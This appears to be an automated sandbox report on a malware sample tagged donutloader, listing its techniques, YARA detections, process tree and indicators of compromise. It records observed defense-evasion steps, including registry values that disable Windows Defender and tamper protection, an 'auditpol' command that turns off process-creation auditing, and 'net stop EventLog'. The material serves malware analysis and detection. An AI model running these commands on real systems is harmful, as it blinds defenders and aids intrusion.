donutloader | 050577bc035c621b6adee3c86bfc7fcab41d7bc4ca0d4414920ead2d8f55ab2b

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Detects executables containing artifacts associated with disabling Widnows Defender 4 IoCs

resource	yara_rule
behavioral1/files/0x00070000000245f3-19.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/files/0x00070000000245f4-22.dat	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3984-27-0x00007FF758B90000-0x00007FF759FFD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4892-29-0x00007FF6385C0000-0x00007FF639A2D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 4 IoCs

resource	yara_rule
behavioral1/files/0x00070000000245f3-19.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x00070000000245f4-22.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3984-27-0x00007FF758B90000-0x00007FF759FFD000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/4892-29-0x00007FF6385C0000-0x00007FF639A2D000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables manipulated with Fody 4 IoCs

resource	yara_rule
behavioral1/files/0x00070000000245f3-19.dat	INDICATOR_EXE_Packed_Fody
behavioral1/files/0x00070000000245f4-22.dat	INDICATOR_EXE_Packed_Fody
behavioral1/memory/3984-27-0x00007FF758B90000-0x00007FF759FFD000-memory.dmp	INDICATOR_EXE_Packed_Fody
behavioral1/memory/4892-29-0x00007FF6385C0000-0x00007FF639A2D000-memory.dmp	INDICATOR_EXE_Packed_Fody

Command and Scripting Interpreter: PowerShell 1 TTPs 24 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
644	powershell.exe
2948	powershell.exe
4732	powershell.exe
5444	powershell.exe
5832	powershell.exe
2804	powershell.exe
1128	powershell.exe
4780	powershell.exe
4744	powershell.exe
2228	powershell.exe
1524	powershell.exe
4240	powershell.exe
3780	powershell.exe
5004	powershell.exe
4188	powershell.exe
3784	powershell.exe
4084	powershell.exe
1304	powershell.exe
4632	powershell.exe
4224	powershell.exe
1052	powershell.exe
1736	powershell.exe
540	powershell.exe
3368	powershell.exe

Deletes itself 1 IoCs

pid	Process
4892	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.jucfrrtdscsgcinxpxzydvoqavstgipw.__selfdelete__.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4892	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.jucfrrtdscsgcinxpxzydvoqavstgipw.__selfdelete__.exe
3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
3300	Process not Found
4504	dismhost.exe

Loads dropped DLL 26 IoCs

pid	Process
3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
644	powershell.exe
4084	powershell.exe
1524	powershell.exe
3368	powershell.exe
1736	powershell.exe
1052	powershell.exe
2804	powershell.exe
4780	powershell.exe
5004	powershell.exe
4744	powershell.exe
540	powershell.exe
4632	powershell.exe
4240	powershell.exe
4224	powershell.exe
1304	powershell.exe
2228	powershell.exe
3780	powershell.exe
3784	powershell.exe
4188	powershell.exe
1128	powershell.exe
4504	dismhost.exe
4504	dismhost.exe
4504	dismhost.exe
4504	dismhost.exe
4504	dismhost.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 5 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtectionSource = "2"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\DisableAntiVirus = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3420	powercfg.exe
1240	powercfg.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\bearistx.dll	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	powershell.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 5 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5832	powershell.exe
644	powershell.exe
2948	powershell.exe
4732	powershell.exe
5444	powershell.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
624	sc.exe
3048	sc.exe
3212	sc.exe
4920	sc.exe
4012	sc.exe
1448	sc.exe
3336	sc.exe
4140	sc.exe
1844	sc.exe
4320	sc.exe
4728	sc.exe
3648	sc.exe
2916	sc.exe
960	sc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3864	cmd.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3700	taskkill.exe
1664	taskkill.exe
2832	taskkill.exe
1892	taskkill.exe
2576	taskkill.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

pid	Process
2344	reg.exe
5900	reg.exe
5156	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
644	powershell.exe
644	powershell.exe
644	powershell.exe
644	powershell.exe
4632	powershell.exe
4632	powershell.exe
3368	powershell.exe
3368	powershell.exe
1052	powershell.exe
1052	powershell.exe
644	powershell.exe
644	powershell.exe
5004	powershell.exe
5004	powershell.exe
1736	powershell.exe
1736	powershell.exe
1524	powershell.exe
1524	powershell.exe
540	powershell.exe
540	powershell.exe
2804	powershell.exe
2804	powershell.exe
1304	powershell.exe
1304	powershell.exe
4188	powershell.exe
4188	powershell.exe
4744	powershell.exe
4744	powershell.exe
3784	powershell.exe
3784	powershell.exe
4224	powershell.exe
4224	powershell.exe
2228	powershell.exe
2228	powershell.exe
4240	powershell.exe
4240	powershell.exe
1128	powershell.exe
1128	powershell.exe
4780	powershell.exe
4780	powershell.exe
3780	powershell.exe
3780	powershell.exe
644	powershell.exe
644	powershell.exe
4084	powershell.exe
4084	powershell.exe
644	powershell.exe
644	powershell.exe
4084	powershell.exe
644	powershell.exe
644	powershell.exe
4084	powershell.exe
4084	powershell.exe
1524	powershell.exe
1052	powershell.exe
3368	powershell.exe
1736	powershell.exe
4780	powershell.exe
2804	powershell.exe
4632	powershell.exe
4744	powershell.exe
5004	powershell.exe
4224	powershell.exe
4240	powershell.exe

Suspicious behavior: RenamesItself 2 IoCs

pid	Process
3984	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
3984	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	880	auditpol.exe
Token: SeDebugPrivilege	644	powershell.exe
Token: SeRestorePrivilege	2068	reg.exe
Token: SeRestorePrivilege	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeBackupPrivilege	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeTakeOwnershipPrivilege	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Token: SeRestorePrivilege	3960	reg.exe
Token: SeDebugPrivilege	3700	taskkill.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	2832	taskkill.exe
Token: SeDebugPrivilege	1664	taskkill.exe
Token: SeDebugPrivilege	2576	taskkill.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeSecurityPrivilege	3632	auditpol.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeShutdownPrivilege	3420	powercfg.exe
Token: SeCreatePagefilePrivilege	3420	powercfg.exe
Token: SeShutdownPrivilege	3420	powercfg.exe
Token: SeCreatePagefilePrivilege	3420	powercfg.exe
Token: SeSecurityPrivilege	5156	auditpol.exe
Token: SeDebugPrivilege	5444	powershell.exe
Token: SeShutdownPrivilege	1240	powercfg.exe
Token: SeCreatePagefilePrivilege	1240	powercfg.exe
Token: SeShutdownPrivilege	1240	powercfg.exe
Token: SeCreatePagefilePrivilege	1240	powercfg.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: SeRestorePrivilege	2012	reg.exe
Token: SeRestorePrivilege	2004	reg.exe
Token: SeBackupPrivilege	4188	powershell.exe
Token: SeRestorePrivilege	4188	powershell.exe
Token: SeSecurityPrivilege	4648	wevtutil.exe
Token: SeBackupPrivilege	4648	wevtutil.exe
Token: SeSecurityPrivilege	1632	wevtutil.exe
Token: SeBackupPrivilege	1632	wevtutil.exe
Token: SeSecurityPrivilege	3544	wevtutil.exe
Token: SeBackupPrivilege	3544	wevtutil.exe
Token: SeSecurityPrivilege	3564	wevtutil.exe
Token: SeBackupPrivilege	3564	wevtutil.exe
Token: SeSecurityPrivilege	2112	wevtutil.exe
Token: SeBackupPrivilege	2112	wevtutil.exe
Token: SeSecurityPrivilege	5548	wevtutil.exe
Token: SeBackupPrivilege	5548	wevtutil.exe
Token: SeSecurityPrivilege	6044	wevtutil.exe
Token: SeBackupPrivilege	6044	wevtutil.exe
Token: SeSecurityPrivilege	6092	wevtutil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1556 wrote to memory of 3984	1556	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	84
PID 3984 wrote to memory of 4892	3984	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	86
PID 3984 wrote to memory of 3968	3984	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	91
PID 4892 wrote to memory of 3864	4892	.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.jucfrrtdscsgcinxpxzydvoqavstgipw.__selfdelete__.exe	92
PID 3968 wrote to memory of 880	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	94
PID 3968 wrote to memory of 876	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	97
PID 3968 wrote to memory of 644	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	98
PID 3968 wrote to memory of 3232	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	99
PID 876 wrote to memory of 2088	876	net.exe	103
PID 3232 wrote to memory of 3396	3232	net.exe	194
PID 3968 wrote to memory of 2068	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	105
PID 3968 wrote to memory of 4084	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	107
PID 3968 wrote to memory of 4744	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	108
PID 3968 wrote to memory of 2804	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	109
PID 3968 wrote to memory of 5004	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	110
PID 3968 wrote to memory of 1844	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	111
PID 3968 wrote to memory of 624	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	112
PID 3968 wrote to memory of 4140	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	113
PID 3968 wrote to memory of 3336	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	114
PID 3968 wrote to memory of 960	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	115
PID 3968 wrote to memory of 2916	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	116
PID 3968 wrote to memory of 1448	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	117
PID 3968 wrote to memory of 1800	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	119
PID 3968 wrote to memory of 2148	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	120
PID 3968 wrote to memory of 4364	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	121
PID 3968 wrote to memory of 2480	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	122
PID 3968 wrote to memory of 4544	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	123
PID 3968 wrote to memory of 4012	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	124
PID 3968 wrote to memory of 4920	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	125
PID 3968 wrote to memory of 3648	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	126
PID 3968 wrote to memory of 4728	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	127
PID 3968 wrote to memory of 3212	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	128
PID 3968 wrote to memory of 3048	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	129
PID 3968 wrote to memory of 4320	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	130
PID 3968 wrote to memory of 3700	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	131
PID 3968 wrote to memory of 2576	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	215
PID 3968 wrote to memory of 1892	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	248
PID 3968 wrote to memory of 2832	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	134
PID 3968 wrote to memory of 1664	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	220
PID 3968 wrote to memory of 3368	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	144
PID 3968 wrote to memory of 1304	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	146
PID 3968 wrote to memory of 2228	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	147
PID 3968 wrote to memory of 540	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	148
PID 3968 wrote to memory of 1736	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	149
PID 3968 wrote to memory of 4780	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	151
PID 3968 wrote to memory of 1052	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	152
PID 3968 wrote to memory of 3784	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	153
PID 3968 wrote to memory of 3780	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	154
PID 3968 wrote to memory of 4224	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	155
PID 3968 wrote to memory of 4240	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	156
PID 3968 wrote to memory of 4632	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	157
PID 3968 wrote to memory of 1128	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	158
PID 3968 wrote to memory of 1524	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	159
PID 3968 wrote to memory of 4188	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	160
PID 3968 wrote to memory of 3960	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	166
PID 3968 wrote to memory of 5896	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	195
PID 5896 wrote to memory of 2448	5896	net.exe	199
PID 644 wrote to memory of 2344	644	powershell.exe	201
PID 3968 wrote to memory of 2948	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	202
PID 3968 wrote to memory of 3632	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	203
PID 3968 wrote to memory of 4732	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	205
PID 3968 wrote to memory of 5156	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	228
PID 3968 wrote to memory of 5444	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	207
PID 3968 wrote to memory of 3420	3968	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe	208

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = "0"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled = "1"	2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
  2⤵
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.jucfrrtdscsgcinxpxzydvoqavstgipw.__selfdelete__.exe
    "C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.jucfrrtdscsgcinxpxzydvoqavstgipw.__selfdelete__.exe" 1716 C:\Users\Admin\AppData\Local\Temp\.2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.ycoblcsgtkhxxwanocfuvcezvqcwqged.__relocated__.exe
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c exit
      4⤵
      Executes a command shell one-liner
      PID:3864
- - C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_c448ae6e336a5f08fa0ff53b73c807e1_akira_cobalt-strike_glassworm_icedid_luca-stealer_megazo.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Modifies Windows Defender TamperProtection settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Windows security modification
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:3968
  - - C:\Windows\system32\auditpol.exe
      "auditpol" /set "/subcategory:Process Creation" /success:disable /failure:disable
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:880
  - - C:\Windows\system32\net.exe
      "net" stop EventLog /y
      4⤵
      Suspicious use of WriteProcessMemory
      PID:876
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop EventLog /y
        5⤵
        
        PID:2088
